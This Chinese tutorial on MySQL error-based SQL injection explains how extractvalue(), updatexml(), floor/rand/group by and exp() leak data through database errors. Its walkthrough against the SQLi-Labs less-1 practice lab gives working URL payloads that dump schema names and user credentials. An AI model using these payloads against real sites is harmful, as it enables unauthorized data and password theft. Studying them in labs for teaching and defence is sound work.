SQL注入-报错注入

目录

一,sql报错注入概述:

二,报错注入函数:

extractvalue()

updatexml()

floor()、rand()、count()、group by联用

其它函数

三,SQL报错注入实例:

extractvalue()

floor()、rand()、count()、group by联用


一,sql报错注入概述:

 原因    

        通过构造特定的sql语句,让攻击者想要查询的信息(数据库名 版本号 用户名等)通过页面的错误提示回显出来


报错注入的前提条件

  • web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上:print_r(mysql_error());
  • 后台未对一些具有报错功能的函数(如extractvalue,updatexml等)进行过滤

二,报错注入函数:

extractvalue()

Xpath类型函数(MySQL数据库版本号>=5.1.5,对XML文档进行处理的函数)
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法:extractvalue( XML_document,XPath_string)
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用 /xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx'
实例
mysql> select extractvalue(1,concat("~',user()));
ERROR 1105 (HY000): XPATH syntax error:'~root@localhost'
注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示

大白话理解:

extractvalue( XML_document,XPath_string)

XML_document:XML文档名

XPath_string:指定路径 Xpath格式的字符串 也就是说该位置必须是路径的格式

该函数在制定目录下查找指定XML文件 如果查询到输出XML文件内容

举例

 select extractvalue(1,concat('~',database()));

1代表XML文件名

通过concat拼接字符串 ~和database()的结果为路径

因为~符号在路径中是违法符号 所以会报错 报错内容为:~database()的结果


updatexml()

Xpath类型函数(MySQL数据库版本号>=5.1.5)
作用:改变文档中符合条件的节点的值。
语法:updatexml( XML_document, XPath_string, new_value)
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new value,String格式,替换查找到的符合条件的数据
报错原理:同extractvalue()
举例
mysql> select updatexml(1,concat('~',user()), 1);
ERROR 1105 (HY000):XPATH syntax error: '~root@localhost'
注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示


floor()、rand()、count()、group by联用

报错SQL语句

  • select count(*),(concat(floor(rand(0)*2),(select database())))x from user group by x;

报错sql语句分析

  • concat将floor(rand(0)*2)和 select version() 进行拼接
  • floor向下取整
  • rand(0) 随机获取0-1之间的一个浮点数
  • rand(0)*2 获取的数乘2 相当于随机获取0-2之间的一个浮点数
  • (concat(floor(rand(0)*2),(select version())))x  x为(concat(floor(rand(0)*2),(select version())))的别名
  • group x 对别名进行分组
  • count(*) 与分组group联用 获取某一分组(字段)的记录数
  • rand 每次取一个值 一共取几次通过图就能得知取决于表的行数 记录数

 报错原因

可以看到出现报错信息,这个主键重复 

首先要了解一个特性,就是rand()函数的一个特性

这个特性就是 rand()函数的执行速度要比 group by查询并插入key值的速度更快

首先我们讲了当group by和count(*)一起用时,会生成一个虚拟表,记录key和count(*),字段作为key来统计数据,但是在这个报错的语句中,我们使用的是group by floor(rand(0)*2),

floor(rand(0)*2)作为分组的字段

floor(rand(0)*2)函数演示

select floor(rand(0)*2) from user;

按照group by语句的流程

  • 1、首先将floor(rand(0)*2)的第一次执行结果,也就是0带入虚拟表的key中查询是否存在
  • 2、此时不存在,所以会将此时的floor(rand(0)*2)的结果插入虚拟表中
  • 3、但是不要忘了rand()函数的特性, rand()函数执行是比group by语句查询并插入key值更快的,也就是floor(rand(0)*2)执行了一次后,就被带去查询,此时floor(rand(0)*2)仍在执行,等查询完确认虚拟表中没有0这个key后,就将floor(rand(0)*2)此时的结果插入虚拟表
  • 4、但此时floor(rand(0)*2)已经执行完第二遍了,结果为1,就导致了 带去查询的数据为0,但插入的数据却为1,对应的count(*)也为1,此时虚拟表如下

  • 5、接着 floor(rand(0)*2)第三次执行,结果为1,group by也遍历到了第三个结果,也就把1带入虚拟表中的key值去查,发现存在“1”这个key值,所以直接在该key值对应的count(*)加1,也就是计数,注意这里并不需要插入操作,所以floor(rand(0)*2)的第四次执行还没有完成
  • 6、接着 floor(rand(0)*2)第四次执行完成,结果为0,group by语句带0进入虚拟表key中查询,发现没有这个key值,所以将此时的floor(rand(0)*2)结果插入虚拟表,但是,因为rand()函数的特性,插入还没完成之前,floor(rand(0)*2)第五次执行结果已经完成,结果为1,所以导致带入查询的数据为0,插入的数据却为1,此时虚拟表如下

group by 分组时 分组的字段作为主键

这样就导致出现了上面报错信息中的问题——主键重复 

 举例
mysql> select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'


其它函数


exp()  (5.5.5<=MySQL数据库版本号<=5.5.49)
作用:计算以e(自然常数)为底的幕值
0 语法:exp(x)
报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is out of
range:......
实例
mysql> select exp(~(select * from (select user()) as x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost'from dual))"

三,SQL报错注入实例:

extractvalue()

目标靶机:SQLi-Lab的less-1

要求:利用具有报错功能的函数实现注入,获取users表中存储的用户名和密码

sql-less1不使用union注入的方式 为了演示报错注入使用报错注入方式直接从第5步开始

已知:节省时间 按照上面sql流程的步骤 得知less-1为GET字符型SQL注入方式,

报错函数不需要知道字段数以及回显位置的

查找数据库名;

?id=1' and extractvalue(1,concat('~',database())) --+

得知当前数据库的名称为security

查看所有数据库

?id=1' and extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))) --+

使用group_concat的方式显示不全 只能使用limit的方式逐行显示

?id=1' and extractvalue(1,concat('~',(select schema_name from information_schema.schemata limit 2,1))) --+

查找数据库表;

?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))) --+

发现有个users表

查找数据库表中所有字段以及字段值;

查看users表中字段

?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 3,1))) --+

查看users表中字段的值

目前已知 当前数据库 数据表 以及表内字段名 无需使用目录数据库了

?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))) --+


floor()、rand()、count()、group by联用

create table user(id int(11) not null auto_increment primary key,name varchar(20) not null,pass varchar(20) not null);

INSERT INTO user (name, pass) VALUES ('admin', MD5('admin')), ('guest', MD5('guest'));

报错语句

?id=-1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))as a from information_schema.tables group by a)x) --+

注意

1 使用两层select查询

解释原因

2 里层有别名 外层也要有别名  

原因是因为在MySQL中,子查询作为派生表使用时必须要有一个别名。这是为了让MySQL能够对子查询进行引用。因此,给子查询加上别名x是必须的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/196313.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

统计学中两组数据如何进行差异性(相关性)分析?

变量说明&#xff1a; 在确定分析方法前&#xff0c;我们需要了解手中的数据类型&#xff0c;这是最基础也是有必要的&#xff0c;在所有的数据类型中&#xff0c;我们将数据类型分为分类变量也为定类变量和连续变量也称为定量变量&#xff0c;那么什么是定类变量&#xff1f;…

通达信抛物线SAR指标原理详解、参数设置及选股公式

抛物线指标(SAR)是由技术分析大师威尔斯威尔德(Welles Wilder)发明的&#xff0c;在其1978 年出版的《技术交易系统新概念》一书中介绍了该指标。SAR指标通过跟踪股票价格的动态变化&#xff0c;在走势图上以一系列点的形式显示&#xff0c;提供了一种判断趋势反转的方法&#…

E云管家开发自动转发朋友圈

简要描述&#xff1a; 转发朋友圈&#xff0c;直接xml数据。(对谁不可见) 请求URL&#xff1a; http://域名地址/forwardSns 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参…

9.增删改操作

目录 一、插入操作 1、为表的所有字段插入数据 2、为表的指定字段插入数据 3、同时插入多条记录 4、将查询结果插入表中&#xff1a; 二、更新操作 三、删除操作 四、练习题 一、插入操作 在使用数据库之前&#xff0c;数据库中必须要有数据&#xff0c;MYSQL中使INSE…

SimpleDateFormat在多线程下的安全问题

目录 情景重现 SimpleDateFormat解析 解决方案 局部变量 加锁 使用线程变量 使用DateTimeFormatter 情景重现 SimpleDateFormat类是Java开发中的一个日期时间的转化类。它可以满足绝大多数的开发场景&#xff0c;但是在高并发下会出现并发问题。接下来查看下文中的案例。…

JavaEE(SpringMVC)期末复习(选择+填空+解答)

文章目录 JavaEE期末复习一、单选题&#xff1a;二、多选题三、填空题四、解答 JavaEE期末复习 一、单选题&#xff1a; 1.Spring的核⼼技术是&#xff08; A &#xff09;&#xff1f; A依赖注入 B.JdbcTmplate C.声明式事务 D.资源访问 Spring的核心技术包括依赖注入&#x…

​无人机摄影测量

无人机摄影测量技术是传统航空摄影测量手段的有力补充&#xff0c;具有机动灵活、高效快速、精细准确、作业成本低、生产周期短、影像获取空间分辨率高、高危地区探测等优势。无人机与航空摄影测量相结合使得“无人机数字低空遥感”成为航空遥感领域的一个崭新发展方向。无人机…

SpringCloud 微服务全栈体系(十八)

第十一章 分布式搜索引擎 elasticsearch 八、RestClient 查询文档 文档的查询同样适用 RestHighLevelClient 对象&#xff0c;基本步骤包括&#xff1a; 准备 Request 对象准备请求参数发起请求解析响应 1. 快速入门 以 match_all 查询为例 1.1 发起查询请求 代码解读&…

⑤【Sorted Set】Redis常用数据类型: ZSet [使用手册]

个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的路上摸爬滚打&#xff0c;记录学习的过程~ 个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ 目录 ⑤Redis Zset 操作命令汇总1. zadd 添加或…

Unity RenderFeature架构分析

自定义RenderFeature接口流程 URP内部ScriptableRenderPass分析 public、protected属性 renderPassEvent &#xff1a;渲染事件发生的时刻colorAttachments &#xff1a;渲染的颜色纹理列表 m_ColorAttachmentscolorAttachment &#xff1a;m_ColorAttachments[0];depthAttac…

【解决方案】基于边缘计算技术的安科瑞综合管廊能效管理平台

平台背景 综合管廊一般是建于城市地下用于容纳两类及以上城市工程管线的构筑物及附属设施&#xff0c;将电力、自来水、热力、煤气、电信、网络等市政公用管线根据规划要求集中敷设在同一个构建物内&#xff0c;实施统一设计、施工、管理的市政公用隧道空间&#xff0c;并且还…

在Linux环境如何启动和redis数据库?

Linux中连接redis数据库&#xff1a; 前台启动&#xff1a; 第一步&#xff1a;redis-server:服务器启动命令 当我们启动改窗口后&#xff0c;出现如下所示&#xff1a; 该窗口就不能关闭&#xff0c;否则会出现redis无法使用的情况&#xff0c;重新打开一个窗口&#xff0c…

云服务器哪家便宜?亚马逊AWS等免费云服务器推荐

在这数字化的时代&#xff0c;云计算技术越来越广泛应用于各种场景&#xff0c;尤其是云服务器&#xff0c;作为一种全新的服务器架构正在逐渐取代传统的物理服务器&#xff0c;“云服务器哪家便宜”等用户相关问题也受到越来越多的关注。自从亚马逊最早推出了首个云计算服务—…

PBR纹理转换简明教程

在这个教程中&#xff0c;我将演示如何将为传统着色器创建的内容转换到 PBR 着色器&#xff0c;如何将内容从一种 PBR 工作流程转换为另一种&#xff0c;并解释现代工作流程中的各种差异。 本教程面向中级到高级用户&#xff0c;因此请务必阅读 Jeff Russell 和我编写的前两篇 …

k8s安装步骤

环境&#xff1a; 操作系统&#xff1a;win10 虚拟机&#xff1a;VMware linux发行版&#xff1a;CentOS7.9 CentOS镜像&#xff1a;CentOS-7-x86_64-DVD-2009 master和node节点通信的ip(master)&#xff1a; 192.168.29.164 0.检查配置 本次搭建的集群共三个节点&#xff0c;…

力扣:239. 滑动窗口最大值

题目&#xff1a; 给定一个数组 nums&#xff0c;有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只向右移动一位。 返回滑动窗口中的最大值。 提示&#xff1a; 1 < nums.length < 10^5-10^4 < n…

ESP32-Web-Server编程-JS 基础 1

ESP32-Web-Server编程-JS 基础 1 概述 前述分别在 HTML 基础 和 CSS 基础 中介绍了 HTML、CSS 的基本内容。HTML 定义了网页中包含哪些对象&#xff0c;CSS 定义了对象的显示样式。JavaScript(LiveScript)是一种运行于客户端的解释性脚本语言&#xff0c;使 HTML 页面更具动态…

【MySql】悲观锁和乐观锁的介绍

一、并发控制 当程序中可能出现并发的情况时&#xff0c;就需要保证在并发情况下数据的准确性&#xff0c;以此确保当前用户和其他用户一起操作时&#xff0c;所得到的结果和他单独操作时的结果是一样的。这就叫做并发控制。并发控制的目的是保证一个用户的工作不会对另一个用…

数据安全:专业服务与您共同对抗.faust数字勒索的威胁

引言&#xff1a; 在数字世界的幕后&#xff0c;一股黑暗势力悄然崛起。.faust勒索病毒&#xff0c;如同数码时代的黑手党&#xff0c;通过其高度精密的加密技术&#xff0c;正在肆虐用户和组织的数据。本文将深入挖掘.faust的狡猾手法&#xff0c;为您揭示其隐藏在数字背后的…